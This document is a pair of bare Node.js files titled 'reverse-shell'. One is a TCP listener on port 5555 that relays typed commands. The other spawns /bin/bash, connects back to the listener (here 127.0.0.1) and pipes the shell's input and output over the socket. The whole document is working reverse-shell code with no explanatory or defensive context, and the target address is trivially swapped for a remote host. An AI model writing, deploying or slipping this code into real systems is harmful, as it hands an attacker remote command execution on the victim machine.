reverse-shell

       
//  listener.js        
        
        var server    = require('net').createServer(connect);
        server.listen(5555);
                                                                                console.log('listening 5555');
        var client;
        
        function connect(socket){
                                                                                console.log('client connected');
              client    = socket;
              client.pipe(process.stdout);
              client.on('end',()=>{
              
                    console.log('client disconnected');
                    
              });
              
        } //connect

        var opts    = {input:process.stdin,output:process.stdout};
        var rl      = require('node:readline').createInterface(opts);
        rl.on('line',line=>client && client.write(`${line.trim()}\n`));
        rl.on('close',()=>{console.log('Have a great day!');process.exit(0);});


//  reverse-shell.js

        var shell     = '/bin/bash';
        var sh        = require('child_process').spawn(shell);
        var client    = new require('net').Socket();
        client.connect(5555,'127.0.0.1',()=>{

              client.pipe(sh.stdin);
              sh.stdout.pipe(client);
              sh.stderr.pipe(client);

        });